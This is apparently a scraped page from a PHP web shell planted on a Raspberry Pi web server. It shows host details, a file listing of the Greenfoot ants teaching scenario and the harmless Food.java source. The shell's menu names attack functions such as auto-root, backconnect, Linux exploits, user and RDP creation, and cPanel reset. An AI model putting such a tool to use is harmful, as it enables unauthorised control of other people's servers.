Linux lorencats.com 5.10.103-v7l+ #1529 SMP Tue Mar 8 12:24:00 GMT 2022 armv7l
Apache/2.4.59 (Raspbian)
: 10.0.0.29 | : 216.73.216.130
Cant Read [ /etc/named.conf ]
7.3.31-1~deb10u7
root
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
share /
doc /
Greenfoot /
scenarios /
java /
ants /
[ HOME SHELL ]
Name
Size
Permission
Action
images
[ DIR ]
drwxr-xr-x
Ant.class
2.62
KB
-rw-r--r--
Ant.java
3.65
KB
-rw-r--r--
AntHill.class
1.24
KB
-rw-r--r--
AntHill.java
1.45
KB
-rw-r--r--
AntWorld.class
1.46
KB
-rw-r--r--
AntWorld.java
2.29
KB
-rw-r--r--
Counter.class
1.48
KB
-rw-r--r--
Counter.java
1.04
KB
-rw-r--r--
Creature.class
2.49
KB
-rw-r--r--
Creature.java
5.2
KB
-rw-r--r--
Food.class
1.6
KB
-rw-r--r--
Food.java
1.88
KB
-rw-r--r--
Pheromone.class
1.14
KB
-rw-r--r--
Pheromone.java
1.39
KB
-rw-r--r--
README.TXT
368
B
-rw-r--r--
project.greenfoot
3.87
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : Food.java
import greenfoot.*; // (World, Actor, GreenfootImage, and Greenfoot) import java.util.Random; /** * A pile of food. The pile consists initially of 100 crumbs of food. * * @author Michael Kölling * @version 1.1 */ public class Food extends Actor { private static final int SIZE = 30; private static final int HALFSIZE = SIZE / 2; private static final Color color1 = new Color(160, 200, 60); private static final Color color2 = new Color(80, 100, 30); private static final Color color3 = new Color(10, 50, 0); private static final Random randomizer = new Random(); private int crumbs = 100; // number of bits of food in this pile /** * Create a pile of food with an image depicting the amount. */ public Food() { updateImage(); } /** * Remove some food from this pile of food. */ public void takeSome() { crumbs = crumbs - 3; if (crumbs <= 0) { getWorld().removeObject(this); } else { updateImage(); } } /** * Update the image */ private void updateImage() { GreenfootImage image = new GreenfootImage(SIZE, SIZE); for (int i = 0; i < crumbs; i++) { int x = randomCoord(); int y = randomCoord(); image.setColorAt(x, y, color1); image.setColorAt(x + 1, y, color2); image.setColorAt(x, y + 1, color2); image.setColorAt(x + 1, y + 1, color3); } setImage(image); } /** * Returns a random number relative to the size of the food pile. */ private int randomCoord() { int val = HALFSIZE + (int) (randomizer.nextGaussian() * (HALFSIZE / 2)); if (val < 0) return 0; if (val > SIZE - 2) return SIZE - 2; else return val; } }
Close